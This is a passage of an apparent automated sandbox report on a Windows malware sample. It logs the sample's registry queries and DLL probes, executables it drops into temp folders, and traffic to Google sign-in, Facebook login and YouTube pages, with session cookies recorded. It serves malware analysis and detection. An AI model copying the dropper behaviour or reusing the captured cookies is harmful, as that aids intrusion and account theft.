"HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "")53:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")54:Te12,"dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "DCB10B49C7D8D03B15484C3CA04E7086"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "PENDINGFILERENAMEOPERATIONS"; Value: "")55:T95a,"dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\dcb10b49c7d8d03b15484c3ca04e7086.exe.Local\" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Cabinet.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\VERSION.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\AppPatch\sysmain.sdb" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\SspiCli.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\WINSPOOL.DRV" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\MPR.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\system32\MPR.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\UxTheme.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\WINMM.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\samcli.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\Windows\system32\samcli.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to touch file "C:\MSACM32.dll"56:T890,"dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\Cabinet.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\VERSION.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\SspiCli.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\MPR.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\UxTheme.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\WINMM.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\samcli.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\MSACM32.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\sfc.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\sfc_os.DLL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\dwmapi.dll" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\tv5xp30.exe" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\FLTLIB.DLL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7oU4qf55.exe" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "\Device\HarddiskVolume2\SSPICLI.DLL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "\Device\HarddiskVolume2\MPR.DLL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "\Device\HarddiskVolume2\UXTHEME.DLL"57:T991,"dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\dcb10b49c7d8d03b15484c3ca04e7086.exe.Local\" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\dcb10b49c7d8d03b15484c3ca04e7086.exe.Config" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "\Device\HarddiskVolume2\DCB10B49C7D8D03B15484C3CA04E7086.EXE.LOCAL" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINSPOOL.DRV" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "\Device\HarddiskVolume2\DCB10B49C7D8D03B15484C3CA04E7086.EXE.CONFIG" "dcb10b49c7d8d03b15484c3ca04e7086.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "tv5xp30.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\tv5xp30.exe.Local\" "tv5xp30.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "tv5xp30.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\tv5xp30.exe.Config" "tv5xp30.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "tv5xp30.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\TV5XP30.EXE.LOCAL" "tv5xp30.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "tv5xp30.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\TV5XP30.EXE.CONFIG" "tv5xp30.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "AD1Sg20.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\AD1Sg20.exe.Local\" "AD1Sg20.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "AD1Sg20.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\AD1Sg20.exe.Config" "AD1Sg20.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP"58:T679,Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D" Found http requests in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D" Found http requests in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D" Found http requests in header "GET /gtsr1/gtsr1.crl" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEA1uFYrLabZxEtE2U5X5DGM%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAdS7ewt%2F%2FetmSOTnuOLgSw%3D" Found http requests in header "GET /gts1c3/moVDfISia2k.crl" Found http requests in header "GET /gts1c3/zdATt0Ex_Fk.crl" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D" Found http requests in header "POST /api"59:T2da6,Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:s0uZmcxEBlY1gfZjh3xoWzhbFaCfkg:hNp2yXYnlbkjTIHdConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp1AtZZac-ajtZZ2efFSkWSbETdCi64ufICFl0itkusVm2AxzJ4_Qprgybelbf3yx136yhRS HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:MlgfSwAbLaqhaE5inRJc474atn8kMg:Q96DY0cipe2unyjaConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp0FiEoVUpoGiUpHpi2V8Xg6nzvLg_EWFQ66M7_PR4atn4S4MT73uryO2i7vX2Yv10wl07SJ0w&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1795364748%3A1703947874374404&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:MlgfSwAbLaqhaE5inRJc474atn8kMg:Q96DY0cipe2unyjaConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:MlgfSwAbLaqhaE5inRJc474atn8kMg:Q96DY0cipe2unyja"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:MlgfSwAbLaqhaE5inRJc474atn8kMg:Q96DY0cipe2unyja; OTZ=7360676_52_52_123900_48_436380"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-8722164587519892283&bl=boq_identityfrontendauthuiserver_20231210.08_p0&hl=en-US&_reqid=53795&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S1795364748:1703947874374404",null,null,"ASKXGp0FiEoVUpoGiUpHpi2V8Xg6nzvLg_EWFQ66M7_PR4atn4S4MT73uryO2i7vX2Yv10wl07SJ0w"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:MlgfSwAbLaqhaE5inRJc474atn8kMg:Q96DY0cipe2unyja; OTZ=7360676_52_52_123900_48_436380"; in File: "SSL") Found requests in header "GET /generate_204?ai1dEA HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:AbPMXPDKCdbxh-RVMyF1ixXzhW-CjQ:0lJ1lUEtwDH2GUhP; OTZ=7360676_52_52_123900_48_436380"; in File: "SSL") Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=3.2.5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: facebook.comDNT: 1Connection: Keep-AliveCookie: fr=020WR0PmljwwM0pmB..BlkC5j.tb.AAA.0.0.BlkC5j.AWX-BT4bp14; sb=Yy6QZc9WAoq4weTng-3uyoS-"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=2.5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Connection: Keep-AliveHost: fbcdn.net"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: fbsbx.comConnection: Keep-Alive"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/opera.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=CPlakA5zxn8; VISITOR_INFO1_LIVE=zG0i6xt7p_w; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgTw%3D%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/firefox.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=CPlakA5zxn8; VISITOR_INFO1_LIVE=zG0i6xt7p_w; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgTw%3D%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/yt_logo_rgb_light.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=CPlakA5zxn8; VISITOR_INFO1_LIVE=zG0i6xt7p_w; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgTw%3D%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/dinosaur.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=CPlakA5zxn8; VISITOR_INFO1_LIVE=zG0i6xt7p_w; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgTw%3D%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/edgium.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=CPlakA5zxn8; VISITOR_INFO1_LIVE=zG0i6xt7p_w; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgTw%3D%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/chrome.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=CPlakA5zxn8; VISITOR_INFO1_LIVE=zG0i6xt7p_w; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgTw%3D%3D"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=CPlakA5zxn8; VISITOR_INFO1_LIVE=zG0i6xt7p_w; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgTw%3D%3D"; in File: "SSL") Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /css?family=Roboto:400,500 HTTP/1.1Accept: text/css, */*Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: fonts.googleapis.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /css?family=YouTube+Sans:500 HTTP/1.1Accept: text/css, */*Referer: 